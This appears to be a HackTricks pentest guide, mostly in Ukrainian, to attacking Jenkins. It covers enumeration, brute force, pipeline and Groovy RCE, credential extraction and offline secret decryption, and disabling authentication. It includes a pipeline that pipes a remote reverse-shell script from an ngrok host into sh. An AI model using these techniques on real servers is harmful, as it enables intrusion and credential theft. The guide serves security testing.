Jenkins Security

Support HackTricks

Basic Information

Jenkins - це інструмент, який пропонує простий спосіб створення середовища безперервної інтеграції або безперервної доставки (CI/CD) для майже будь-якої комбінації мов програмування та репозиторіїв вихідного коду за допомогою конвеєрів. Крім того, він автоматизує різні рутинні завдання розробки. Хоча Jenkins не усуває необхідність створення скриптів для окремих етапів, він забезпечує швидший і надійніший спосіб інтеграції всієї послідовності інструментів збірки, тестування та розгортання, ніж те, що можна легко створити вручну.

Basic Jenkins Information

Unauthenticated Enumeration

Щоб шукати цікаві сторінки Jenkins без аутентифікації, такі як (/people або /asynchPeople, це перераховує поточних користувачів), ви можете використовувати:

msf> use auxiliary/scanner/http/jenkins_enum

Перевірте, чи можете ви виконувати команди без необхідності аутентифікації:

msf> use auxiliary/scanner/http/jenkins_command

Без облікових даних ви можете подивитися всередину /asynchPeople/ або /securityRealm/user/admin/search/index?q= для імен користувачів.

Ви можете отримати версію Jenkins з шляху /oops або /error

Відомі вразливості

Увійти

У базовій інформації ви можете перевірити всі способи входу в Jenkins:

Basic Jenkins Information

Реєстрація

Ви зможете знайти екземпляри Jenkins, які дозволяють вам створити обліковий запис і увійти в нього. Так просто.

SSO Вхід

Також, якщо функціональність/плагіни SSO були присутні, тоді ви повинні спробувати увійти в додаток, використовуючи тестовий обліковий запис (тобто, тестовий Github/Bitbucket обліковий запис). Трюк з тут.

Брутфорс

Jenkins не має політики паролів та захисту від брутфорсу імен користувачів. Важливо брутфорсити користувачів, оскільки можуть використовуватися слабкі паролі або імена користувачів як паролі, навіть перевернуті імена користувачів як паролі.

msf> use auxiliary/scanner/http/jenkins_login

Password spraying

Використовуйте цей python скрипт або цей powershell скрипт.

IP Whitelisting Bypass

Багато організацій поєднують SaaS-based source control management (SCM) systems такі як GitHub або GitLab з внутрішнім, самостійно розгорнутим CI рішенням, таким як Jenkins або TeamCity. Це налаштування дозволяє CI системам отримувати webhook події від постачальників SaaS source control, в основному для запуску pipeline jobs.

Щоб досягти цього, організації додають до білого списку IP-діапазони SCM платформ, дозволяючи їм отримувати доступ до внутрішньої CI системи через webhooks. Однак важливо зазначити, що будь-хто може створити акаунт на GitHub або GitLab і налаштувати його для тригера webhook, потенційно надсилаючи запити до внутрішньої CI системи.

Перевірте: https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/

Internal Jenkins Abuses

У цих сценаріях ми будемо припускати, що у вас є дійсний акаунт для доступу до Jenkins.

Залежно від Authorization механізму, налаштованого в Jenkins, та дозволів скомпрометованого користувача, ви можете або не можете виконати наступні атаки.

Для отримання додаткової інформації перевірте основну інформацію:

Basic Jenkins Information

Listing users

Якщо ви отримали доступ до Jenkins, ви можете перерахувати інших зареєстрованих користувачів за адресою http://127.0.0.1:8080/asynchPeople/

Dumping builds to find cleartext secrets

Використовуйте цей скрипт для вивантаження консолей збірок та змінних середовища збірок, щоб сподіватися знайти секрети у відкритому тексті.

python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

Викрадення SSH облікових даних

Якщо скомпрометований користувач має достатні привілеї для створення/модифікації нового Jenkins вузла і SSH облікові дані вже збережені для доступу до інших вузлів, він може викрасти ці облікові дані, створивши/модифікувавши вузол і встановивши хост, який буде записувати облікові дані без перевірки ключа хоста:

Ви зазвичай знайдете облікові дані Jenkins ssh у глобальному постачальнику (/credentials/), тому ви також можете їх скинути так, як ви б скинули будь-яку іншу таємницю. Більше інформації в Розділі скидання секретів.

RCE в Jenkins

Отримання shell на сервері Jenkins дає зловмиснику можливість викрити всі секрети та змінні середовища і експлуатувати інші машини, розташовані в тій же мережі, або навіть збирати облікові дані хмари.

За замовчуванням Jenkins буде працювати як SYSTEM. Отже, компрометація його надасть зловмиснику привілеї SYSTEM.

RCE Створення/Модифікація проекту

Створення/модифікація проекту є способом отримання RCE на сервері Jenkins:

Jenkins RCE Creating/Modifying Project

RCE Виконання Groovy скрипту

Ви також можете отримати RCE, виконуючи Groovy скрипт, який може бути більш непомітним, ніж створення нового проекту:

Jenkins RCE with Groovy Script

RCE Створення/Модифікація Pipeline

Ви також можете отримати RCE, створюючи/модифікуючи pipeline:

Jenkins RCE Creating/Modifying Pipeline

Експлуатація Pipeline

Щоб експлуатувати pipeline, вам все ще потрібно мати доступ до Jenkins.

Будівельні Pipeline

Pipeline також можуть використовуватися як механізм збірки в проектах, в цьому випадку може бути налаштований файл всередині репозиторію, який міститиме синтаксис pipeline. За замовчуванням використовується /Jenkinsfile:

Також можливо зберігати конфігураційні файли pipeline в інших місцях (в інших репозиторіях, наприклад) з метою розділення доступу до репозиторію та доступу до pipeline.

Якщо зловмисник має доступ на запис до цього файлу, він зможе модифікувати його і потенційно запустити pipeline, навіть не маючи доступу до Jenkins. Можливо, що зловмиснику потрібно буде обійти деякі захисти гілок (в залежності від платформи та привілеїв користувача, їх можна обійти або ні).

Найбільш поширені тригери для виконання користувацького pipeline:

  • Запит на злиття до основної гілки (або потенційно до інших гілок)

  • Пуш до основної гілки (або потенційно до інших гілок)

  • Оновлення основної гілки і очікування, поки вона буде виконана якимось чином

Якщо ви є зовнішнім користувачем, вам не слід очікувати, що ви зможете створити PR до основної гілки репозиторію іншого користувача/організації і запустити pipeline... але якщо він погано налаштований, ви могли б повністю скомпрометувати компанії, просто експлуатуючи це.

Pipeline RCE

У попередньому розділі RCE вже була вказана техніка для отримання RCE, модифікуючи pipeline.

Перевірка змінних середовища

Можливо оголосити змінні середовища у відкритому тексті для всього pipeline або для конкретних етапів. Ці змінні середовища не повинні містити чутливу інформацію, але зловмисник завжди може перевірити всі конфігурації pipeline/Jenkinsfiles:

pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

Витягування секретів

Для отримання інформації про те, як зазвичай обробляються секрети в Jenkins, ознайомтеся з основною інформацією:

Basic Jenkins Information

Облікові дані можуть бути обмежені глобальними постачальниками (/credentials/) або конкретними проектами (/job/<project-name>/configure). Тому, щоб ексфільтрувати всі з них, вам потрібно зламати принаймні всі проекти, які містять секрети, і виконати користувацькі/отруйні конвеєри.

Є ще одна проблема: щоб отримати секрет всередині env конвеєра, вам потрібно знати ім'я та тип секрету. Наприклад, якщо ви намагаєтеся завантажити секрет usernamePassword як секрет string, ви отримаєте цю помилку:

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

Ось як завантажити деякі поширені типи секретів:

withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

В кінці цієї сторінки ви можете знайти всі типи облікових даних: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

Найкращий спосіб вивести всі секрети одразу - це зламати машину Jenkins (наприклад, запустивши реверс-шелл у вбудованому вузлі) і потім викрити майстер-ключі та зашифровані секрети і розшифрувати їх офлайн. Більше про те, як це зробити, у розділі Вузли та агенти та у розділі Постексплуатація.

Тригери

З документації: Директива triggers визначає автоматизовані способи, якими Пайплайн має бути повторно запущений. Для Пайплайнів, які інтегровані з джерелом, таким як GitHub або BitBucket, triggers можуть бути непотрібні, оскільки інтеграція на основі вебхуків, ймовірно, вже присутня. Доступні тригери: cron, pollSCM та upstream.

Приклад cron:

triggers { cron('H */4 * * 1-5') }

Перевірте інші приклади в документації.

Вузли та Агенти

Екземпляр Jenkins може мати різні агенти, що працюють на різних машинах. З точки зору атакуючого, доступ до різних машин означає різні потенційні облікові дані хмари для крадіжки або різний мережевий доступ, який можна зловживати для експлуатації інших машин.

Для отримання додаткової інформації перевірте основну інформацію:

Basic Jenkins Information

Ви можете перерахувати сконфігуровані вузли в /computer/, зазвичай ви знайдете Вбудований Вузол (який є вузлом, що запускає Jenkins) і потенційно більше:

Це особливо цікаво скомпрометувати Вбудований вузол, оскільки він містить чутливу інформацію Jenkins.

Щоб вказати, що ви хочете запустити конвеєр на вбудованому вузлі Jenkins, ви можете вказати в конвеєрі наступну конфігурацію:

pipeline {
agent {label 'built-in'}

Повний приклад

Pipeline на конкретному агенті, з тригером cron, з змінними середовища pipeline та stage, завантажуючи 2 змінні в кроці та відправляючи зворотний shell:

pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

Доступ до довільних файлів для RCE

Jenkins Arbitrary File Read to RCE via "Remember Me"

RCE

Jenkins RCE with Groovy ScriptJenkins RCE Creating/Modifying ProjectJenkins RCE Creating/Modifying Pipeline

Після експлуатації

Metasploit

msf> post/multi/gather/jenkins_gather

Jenkins Secrets

Ви можете перерахувати секрети, отримавши доступ до /credentials/, якщо у вас достатньо прав. Зверніть увагу, що це лише перераховує секрети всередині файлу credentials.xml, але файли конфігурації збірки також можуть містити додаткові облікові дані.

Якщо ви можете бачити конфігурацію кожного проекту, ви також можете побачити там імена облікових даних (секретів), які використовуються для доступу до репозиторію та інші облікові дані проекту.

From Groovy

Jenkins Dumping Secrets from Groovy

From disk

Ці файли потрібні для дешифрування секретів Jenkins:

  • secrets/master.key

  • secrets/hudson.util.Secret

Такі секрети зазвичай можна знайти в:

  • credentials.xml

  • jobs/.../build.xml

  • jobs/.../config.xml

Ось регулярний вираз, щоб їх знайти:

# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

Декодування секретів Jenkins офлайн

Якщо ви скинули необхідні паролі для декодування секретів, використовуйте цей скрипт для декодування цих секретів.

python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

Дешифрування секретів Jenkins з Groovy

println(hudson.util.Secret.decrypt("{...}"))

Створити нового адміністратора

  1. Доступ до файлу Jenkins config.xml у /var/lib/jenkins/config.xml або C:\Program Files (x86)\Jenkins\

  2. Знайдіть слово <useSecurity>true</useSecurity> і змініть слово true на false.

  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml

  4. Перезапустіть сервер Jenkins: service jenkins restart

  5. Тепер знову перейдіть до порталу Jenkins, і Jenkins не запитає жодних облікових даних цього разу. Перейдіть до "Управління Jenkins", щоб знову встановити пароль адміністратора.

  6. Увімкніть безпеку знову, змінивши налаштування на <useSecurity>true</useSecurity> і знову перезапустіть Jenkins.

Посилання

Підтримати HackTricks

Last updated